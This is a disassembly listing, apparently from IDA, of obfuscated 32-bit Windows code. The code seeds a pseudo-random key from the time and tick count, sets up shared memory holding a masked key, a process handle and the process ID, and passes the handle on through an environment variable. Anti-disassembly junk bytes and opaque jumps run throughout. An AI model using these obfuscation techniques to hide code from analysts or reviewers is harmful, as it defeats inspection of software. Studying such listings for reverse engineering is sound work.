loc_4B876C: ; CODE XREF: .text:loc_4B8765j
mov dword ptr [ebp-38h], 0
mov dword ptr [ebp-104h], 0FFFFFFFFh
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B87A0 ; CODE XREF: .text:loc_4B8813j
loc_4B879D: ; CODE XREF: .text:004B87BEj
jmp short near ptr loc_4B87C0+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B87A0: ; CODE XREF: .text:004B879Bj
xor ebx, ebx
jz short $+2
jmp short loc_4B87B3
; ---------------------------------------------------------------------------
dw 0EBB8h
db 0Fh
; ---------------------------------------------------------------------------
loc_4B87A9: ; CODE XREF: .text:004B87B5j
mov ecx, 34F9C987h
nop
stc
jz short loc_4B87B7
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B87B3: ; CODE XREF: .text:004B87A4j
xor eax, eax
jz short loc_4B87A9
loc_4B87B7: ; CODE XREF: .text:004B87B0j
mov eax, 4840C987h
test eax, eax
jnz short loc_4B879D
loc_4B87C0: ; CODE XREF: .text:loc_4B879Dj
jmp near ptr 92B22526h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
push 0
call _time_0
add esp, 4
mov esi, eax
call dword_4ED03C ; GetTickCount
xor esi, eax
xor esi, dword_4ED420
mov [ebp-191Ch], esi
mov ecx, [ebp-191Ch]
mov [ebp-324h], ecx
pusha
xor eax, eax
jnz short loc_4B87FC
jmp short loc_4B8811
; ---------------------------------------------------------------------------
loc_4B87FC: ; CODE XREF: .text:004B87F8j
jmp short loc_4B8831
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4B8803: ; CODE XREF: .text:loc_4B8811j
jo short loc_4B8813
jmp short near ptr loc_4B8813+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4B8811: ; CODE XREF: .text:004B87FAj
jz short loc_4B8803
loc_4B8813: ; CODE XREF: .text:loc_4B8803j
; .text:004B8805j
jmp short near ptr loc_4B879B+1
; ---------------------------------------------------------------------------
db 0DBh, 7Ah, 0F0h
dd 0C76133A0h, 0FFE6C085h, 100FFh, 0DC858B00h, 99FFFFFCh
dd 2710B9h
db 0
; ---------------------------------------------------------------------------
loc_4B8831: ; CODE XREF: .text:loc_4B87FCj
idiv ecx
mov [ebp-1934h], eax
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1930h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-193Ch], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1938h], edx
mov ecx, [ebp-1930h]
imul ecx, [ebp-1938h]
mov edx, [ebp-1934h]
imul edx, [ebp-1938h]
mov eax, [ebp-1930h]
imul eax, [ebp-193Ch]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-324h], edx
mov eax, [ebp-324h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1940h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-192Ch], eax
mov dword ptr [ebp-1954h], 100h
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1948h], eax
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1944h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1950h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-194Ch], edx
mov ecx, [ebp-1944h]
imul ecx, [ebp-194Ch]
mov edx, [ebp-1948h]
imul edx, [ebp-194Ch]
mov eax, [ebp-1944h]
imul eax, [ebp-1950h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-324h], edx
mov eax, [ebp-324h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1954h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1920h], eax
mov dword ptr [ebp-1968h], 100h
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-195Ch], eax
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1958h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1964h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1960h], edx
mov ecx, [ebp-1958h]
imul ecx, [ebp-1960h]
mov edx, [ebp-195Ch]
imul edx, [ebp-1960h]
mov eax, [ebp-1958h]
imul eax, [ebp-1964h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-324h], edx
mov eax, [ebp-324h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1968h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1924h], eax
mov dword ptr [ebp-197Ch], 100h
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1970h], eax
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-196Ch], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1978h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1974h], edx
mov ecx, [ebp-196Ch]
imul ecx, [ebp-1974h]
mov edx, [ebp-1970h]
imul edx, [ebp-1974h]
mov eax, [ebp-196Ch]
imul eax, [ebp-1978h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-324h], edx
mov eax, [ebp-324h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-197Ch]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1928h], eax
mov edx, [ebp-1924h]
shl edx, 8
mov eax, [ebp-1920h]
shl eax, 10h
mov ecx, [ebp-192Ch]
shl ecx, 18h
or ecx, eax
or ecx, edx
or ecx, [ebp-1928h]
mov [ebp-38h], ecx
jo short loc_4B8BB8
jl short loc_4B8BB6
loc_4B8BB3: ; CODE XREF: .text:loc_4B8BB6j
; .text:loc_4B8BB8j ...
jmp short loc_4B8BBA
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B8BB6: ; CODE XREF: .text:004B8BB1j
jz short loc_4B8BB3
loc_4B8BB8: ; CODE XREF: .text:004B8BAFj
jmp short loc_4B8BB3
; ---------------------------------------------------------------------------
loc_4B8BBA: ; CODE XREF: .text:loc_4B8BB3j
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B8BDD
loc_4B8BDA: ; CODE XREF: .text:004B8BFBj
jmp short near ptr loc_4B8BFD+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B8BDD: ; CODE XREF: .text:004B8BD8j
xor ebx, ebx
jz short $+2
jmp short loc_4B8BF0
; ---------------------------------------------------------------------------
db 0B8h
db 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B8BE6: ; CODE XREF: .text:004B8BF2j
mov ecx, 34F9C987h
nop
stc
jz short loc_4B8BF4
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B8BF0: ; CODE XREF: .text:004B8BE1j
xor eax, eax
jz short loc_4B8BE6
loc_4B8BF4: ; CODE XREF: .text:004B8BEDj
mov eax, 4840C987h
test eax, eax
jnz short loc_4B8BDA
loc_4B8BFD: ; CODE XREF: .text:loc_4B8BDAj
jmp near ptr 92B22963h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
loc_4B8C10: ; CODE XREF: .text:loc_4B8C87j
; .text:loc_4B8C3Dj
jmp short loc_4B8C3D
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B8C15: ; CODE XREF: .text:004B8C36j
jmp short loc_4B8C34
; ---------------------------------------------------------------------------
loc_4B8C17: ; CODE XREF: .text:loc_4B8C34j
xor ecx, ecx
loc_4B8C19: ; CODE XREF: .text:004B8C28j
jz short $+2
jmp short loc_4B8C2D
; ---------------------------------------------------------------------------
loc_4B8C1D: ; CODE XREF: .text:004B8C31j
stc
xor ecx, 3
jz short loc_4B8BB3
jmp short loc_4B8C2A
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B8C26: ; CODE XREF: .text:loc_4B8C2Aj
jmp short loc_4B8C38
; ---------------------------------------------------------------------------
jz short loc_4B8C19
loc_4B8C2A: ; CODE XREF: .text:004B8C23j
jnb short loc_4B8C26
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B8C2D: ; CODE XREF: .text:004B8C1Bj
sbb bl, bl
xor ebx, ebx
jmp short loc_4B8C1D
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B8C34: ; CODE XREF: .text:loc_4B8C15j
jmp short loc_4B8C17
; ---------------------------------------------------------------------------
jmp short loc_4B8C15
; ---------------------------------------------------------------------------
loc_4B8C38: ; CODE XREF: .text:loc_4B8C26j
repne sbb al, 0DBh
jmp short loc_4B8C40
; ---------------------------------------------------------------------------
loc_4B8C3D: ; CODE XREF: .text:loc_4B8C10j
jmp short near ptr loc_4B8C10+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B8C40: ; CODE XREF: .text:004B8C3Bj
popa
popf
bswap eax
not ecx
loc_4B8C46: ; CODE XREF: .text:004B8CB4j
bswap eax
not ecx
mov dword ptr [ebp-31Ch], 0Ch
jo short loc_4B8C5D
jl short loc_4B8C5B
loc_4B8C58: ; CODE XREF: .text:loc_4B8C5Bj
; .text:loc_4B8C5Dj
jmp short loc_4B8C5F
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B8C5B: ; CODE XREF: .text:004B8C56j
jz short loc_4B8C58
loc_4B8C5D: ; CODE XREF: .text:004B8C54j
jmp short loc_4B8C58
; ---------------------------------------------------------------------------
loc_4B8C5F: ; CODE XREF: .text:loc_4B8C58j
mov dword ptr [ebp-318h], 0
pusha
xor eax, eax
jnz short loc_4B8C70
jmp short loc_4B8C85
; ---------------------------------------------------------------------------
loc_4B8C70: ; CODE XREF: .text:004B8C6Cj
jmp short loc_4B8CA5
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4B8C77: ; CODE XREF: .text:loc_4B8C85j
jo short loc_4B8C87
jmp short near ptr loc_4B8C87+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4B8C85: ; CODE XREF: .text:004B8C6Ej
jz short loc_4B8C77
loc_4B8C87: ; CODE XREF: .text:loc_4B8C77j
; .text:004B8C79j
jmp short loc_4B8C10
; ---------------------------------------------------------------------------
db 0DBh, 7Ah, 0F0h
dd 0C76133A0h, 0FFFCEC85h, 1FFh, 0D0F75000h, 7358C80Fh
dd 0EB609C00h
db 2Bh
; ---------------------------------------------------------------------------
loc_4B8CA5: ; CODE XREF: .text:loc_4B8C70j
sal byte ptr [eax+0Eh], cl
loc_4B8CA8: ; CODE XREF: .text:004B8CC9j
jmp short loc_4B8CC7
; ---------------------------------------------------------------------------
loc_4B8CAA: ; CODE XREF: .text:loc_4B8CC7j
xor ecx, ecx
loc_4B8CAC: ; CODE XREF: .text:004B8CBBj
jz short $+2
jmp short loc_4B8CC0
; ---------------------------------------------------------------------------
loc_4B8CB0: ; CODE XREF: .text:004B8CC4j
stc
xor ecx, 3
jz short loc_4B8C46
jmp short loc_4B8CBD
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B8CB9: ; CODE XREF: .text:loc_4B8CBDj
jmp short loc_4B8CCB
; ---------------------------------------------------------------------------
jz short loc_4B8CAC
loc_4B8CBD: ; CODE XREF: .text:004B8CB6j
jnb short loc_4B8CB9
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B8CC0: ; CODE XREF: .text:004B8CAEj
sbb bl, bl
xor ebx, ebx
jmp short loc_4B8CB0
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B8CC7: ; CODE XREF: .text:loc_4B8CA8j
jmp short loc_4B8CAA
; ---------------------------------------------------------------------------
jmp short loc_4B8CA8
; ---------------------------------------------------------------------------
loc_4B8CCB: ; CODE XREF: .text:loc_4B8CB9j
repne sbb al, 0DBh
jmp short loc_4B8CD3
; ---------------------------------------------------------------------------
db 0EBh, 0D2h, 0B8h
; ---------------------------------------------------------------------------
loc_4B8CD3: ; CODE XREF: .text:004B8CCEj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
push 0
push 1000h
push 0
push 4
lea edx, [ebp-31Ch]
push edx
push 0FFFFFFFFh
call dword_4ED10C ; CreateFileMappingA
mov [ebp-104h], eax
cmp dword ptr [ebp-104h], 0
jnz short loc_4B8D0D
xor al, al
jmp loc_4BC14E
; ---------------------------------------------------------------------------
loc_4B8D0D: ; CODE XREF: .text:004B8D04j
call dword_4ED108 ; GetCurrentProcess
mov [ebp-320h], eax
mov dword ptr [ebp-328h], 0
push 2
push 1
push 0
lea eax, [ebp-328h]
push eax
mov ecx, [ebp-320h]
push ecx
mov edx, [ebp-320h]
push edx
mov eax, [ebp-320h]
push eax
call dword_4ED104 ; DuplicateHandle
push 1000h
push 0
push 0
push 2
mov ecx, [ebp-104h]
push ecx
call dword_4ED100 ; MapViewOfFile
mov dword_4F4764, eax
xor edx, edx
mov dl, byte_4F435C
test edx, edx
jz loc_4B9111
mov dword ptr [ebp-19A0h], 100h
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1994h], eax
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1990h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-199Ch], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1998h], edx
mov ecx, [ebp-1990h]
imul ecx, [ebp-1998h]
mov edx, [ebp-1994h]
imul edx, [ebp-1998h]
mov eax, [ebp-1990h]
imul eax, [ebp-199Ch]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-324h], edx
mov eax, [ebp-324h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-19A0h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-198Ch], eax
mov dword ptr [ebp-19B4h], 100h
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19A8h], eax
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19A4h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19B0h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19ACh], edx
mov ecx, [ebp-19A4h]
imul ecx, [ebp-19ACh]
mov edx, [ebp-19A8h]
imul edx, [ebp-19ACh]
mov eax, [ebp-19A4h]
imul eax, [ebp-19B0h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-324h], edx
mov eax, [ebp-324h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-19B4h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1980h], eax
mov dword ptr [ebp-19C8h], 100h
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19BCh], eax
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19B8h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19C4h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19C0h], edx
mov ecx, [ebp-19B8h]
imul ecx, [ebp-19C0h]
mov edx, [ebp-19BCh]
imul edx, [ebp-19C0h]
mov eax, [ebp-19B8h]
imul eax, [ebp-19C4h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-324h], edx
mov eax, [ebp-324h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-19C8h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1984h], eax
mov dword ptr [ebp-19DCh], 100h
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19D0h], eax
mov eax, [ebp-324h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19CCh], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19D8h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19D4h], edx
mov ecx, [ebp-19CCh]
imul ecx, [ebp-19D4h]
mov edx, [ebp-19D0h]
imul edx, [ebp-19D4h]
mov eax, [ebp-19CCh]
imul eax, [ebp-19D8h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-324h], edx
mov eax, [ebp-324h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-19DCh]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-1988h], eax
mov edx, [ebp-1984h]
shl edx, 8
mov eax, [ebp-1980h]
shl eax, 10h
mov ecx, [ebp-198Ch]
shl ecx, 18h
or ecx, eax
or ecx, edx
or ecx, [ebp-1988h]
mov [ebp-1AA0h], ecx
jmp short loc_4B911A
; ---------------------------------------------------------------------------
loc_4B9111: ; CODE XREF: .text:004B8D72j
mov edx, [ebp-38h]
mov [ebp-1AA0h], edx
loc_4B911A: ; CODE XREF: .text:004B910Fj
mov eax, [ebp-1AA0h]
xor eax, dword_4ED41C
xor eax, dword_4ED424
xor eax, dword_4ED3EC
xor eax, dword_4ED428
xor eax, dword_4ED3AC
mov ecx, dword_4F4764
mov [ecx], eax
mov edx, dword_4F4764
mov eax, [ebp-328h]
mov [edx+4], eax
call dword_4ED1B8 ; GetCurrentProcessId
mov ecx, dword_4F4764
mov [ecx+8], eax
mov edx, dword_4F4764
mov dword ptr [edx+20h], 0
mov eax, [ebp-104h]
push eax
push offset dword_4EDD0C
lea ecx, [ebp-310h]
push ecx
call _sprintf_0
add esp, 0Ch
lea edx, [ebp-310h]
push edx
push offset off_4EDD08
call dword_4ED098 ; SetEnvironmentVariableA
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B91C1
loc_4B91BE: ; CODE XREF: .text:004B91DFj
jmp short near ptr loc_4B91E1+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B91C1: ; CODE XREF: .text:004B91BCj
xor ebx, ebx
jz short $+2
jmp short loc_4B91D4
; ---------------------------------------------------------------------------
db 0B8h
db 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B91CA: ; CODE XREF: .text:004B91D6j
mov ecx, 34F9C987h
nop
stc
jz short loc_4B91D8
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B91D4: ; CODE XREF: .text:004B91C5j
xor eax, eax
jz short loc_4B91CA
loc_4B91D8: ; CODE XREF: .text:004B91D1j
mov eax, 4840C987h
test eax, eax
jnz short loc_4B91BE
loc_4B91E1: ; CODE XREF: .text:loc_4B91BEj
jmp near ptr 92B22F47h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov eax, dword_4F4768
shl eax, 2
push eax
call sub_4C85E1
add esp, 4
mov [ebp-18E4h], eax
mov ecx, [ebp-18E4h]
mov dword_4F4770, ecx
mov edx, dword_4F4768
shl edx, 4
shl edx, 2
push edx
call sub_4C85E1
add esp, 4
mov [ebp-18E8h], eax
mov eax, [ebp-18E8h]
mov dword_4F474C, eax
mov ecx, dword_4F4768
shl ecx, 2
push ecx
call sub_4C85E1
add esp, 4
mov [ebp-18ECh], eax
mov edx, [ebp-18ECh]
mov dword_4F4774, edx
mov eax, dword_4F4768
shl eax, 2
push eax
call sub_4C85E1
add esp, 4
mov [ebp-18F0h], eax ; CODE XREF: .text:004B92D7j
mov ecx, [ebp-18F0h]
mov dword_4F4778, ecx
push 1000h
call sub_4C85E1
add esp, 4
mov [ebp-18F4h], eax
mov edx, [ebp-18F4h]
mov dword_4F477C, edx
mov eax, dword_4F4768
shl eax, 2
push eax
call sub_4C85E1
add esp, 4
mov [ebp-18F8h], eax
mov ecx, [ebp-18F8h]
mov dword_4F4748, ecx
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4B92F3 ; CODE XREF: .text:loc_4B92F3j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B92CB: ; CODE XREF: .text:004B92ECj
jmp short loc_4B92EA
; ---------------------------------------------------------------------------
loc_4B92CD: ; CODE XREF: .text:loc_4B92EAj
xor ecx, ecx
loc_4B92CF: ; CODE XREF: .text:004B92DEj
jz short $+2
jmp short loc_4B92E3
; ---------------------------------------------------------------------------
loc_4B92D3: ; CODE XREF: .text:004B92E7j
stc
xor ecx, 3
jz short near ptr loc_4B9268+1
jmp short loc_4B92E0
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B92DC: ; CODE XREF: .text:loc_4B92E0j
jmp short loc_4B92EE
; ---------------------------------------------------------------------------
jz short loc_4B92CF
loc_4B92E0: ; CODE XREF: .text:004B92D9j
jnb short loc_4B92DC
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B92E3: ; CODE XREF: .text:004B92D1j
sbb bl, bl
xor ebx, ebx
jmp short loc_4B92D3
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B92EA: ; CODE XREF: .text:loc_4B92CBj
jmp short loc_4B92CD
; ---------------------------------------------------------------------------
jmp short loc_4B92CB
; ---------------------------------------------------------------------------
loc_4B92EE: ; CODE XREF: .text:loc_4B92DCj
repne sbb al, 0DBh
jmp short loc_4B92F6
; ---------------------------------------------------------------------------
loc_4B92F3: ; CODE XREF: .text:004B92C6j
jmp short near ptr loc_4B92C6+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B92F6: ; CODE XREF: .text:004B92F1j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov edx, dword_4ED424
xor edx, [ebp-38h]
mov [ebp-24h], edx
mov dword ptr [ebp-4Ch], 0
jmp short loc_4B931E
; ---------------------------------------------------------------------------
loc_4B9315: ; CODE XREF: .text:004B96BAj
mov eax, [ebp-4Ch]
add eax, 1
mov [ebp-4Ch], eax
loc_4B931E: ; CODE XREF: .text:004B9313j
mov ecx, dword_4F4768
shl ecx, 4
cmp [ebp-4Ch], ecx
jge loc_4B96BF
mov dword ptr [ebp-1A00h], 100h
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19F4h], eax
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19F0h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19FCh], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-19F8h], edx
mov ecx, [ebp-19F0h]
imul ecx, [ebp-19F8h]
mov edx, [ebp-19F4h]
imul edx, [ebp-19F8h]
mov eax, [ebp-19F0h]
imul eax, [ebp-19FCh]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-24h], edx
mov eax, [ebp-24h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1A00h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-19ECh], eax
mov dword ptr [ebp-1A14h], 100h
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A08h], eax
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A04h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A10h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A0Ch], edx
mov ecx, [ebp-1A04h]
imul ecx, [ebp-1A0Ch]
mov edx, [ebp-1A08h]
imul edx, [ebp-1A0Ch]
mov eax, [ebp-1A04h]
imul eax, [ebp-1A10h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-24h], edx
mov eax, [ebp-24h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1A14h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-19E0h], eax
mov dword ptr [ebp-1A28h], 100h
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A1Ch], eax
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A18h], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A24h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A20h], edx
mov ecx, [ebp-1A18h]
imul ecx, [ebp-1A20h]
mov edx, [ebp-1A1Ch]
imul edx, [ebp-1A20h]
mov eax, [ebp-1A18h]
imul eax, [ebp-1A24h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-24h], edx
mov eax, [ebp-24h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1A28h]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
mov [ebp-19E4h], eax
mov dword ptr [ebp-1A3Ch], 100h
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A30h], eax
mov eax, [ebp-24h]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A2Ch], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A38h], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp-1A34h], edx
mov ecx, [ebp-1A2Ch]
imul ecx, [ebp-1A34h]
mov edx, [ebp-1A30h]
imul edx, [ebp-1A34h]
mov eax, [ebp-1A2Ch]
imul eax, [ebp-1A38h]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp-24h], edx
mov eax, [ebp-24h]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp-1A3Ch]
xor edx, edx
mov ecx, 2710h
div ecx
and eax, 0FFh
